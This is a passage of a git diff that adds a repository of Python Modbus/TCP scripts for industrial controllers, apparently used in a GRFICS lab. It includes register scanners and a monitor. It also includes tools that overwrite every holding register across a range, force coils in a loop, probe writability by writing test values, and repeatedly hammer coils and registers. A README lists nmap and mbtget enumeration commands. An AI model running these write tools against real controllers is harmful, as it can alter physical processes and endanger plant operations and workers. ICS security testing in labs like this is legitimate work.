validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 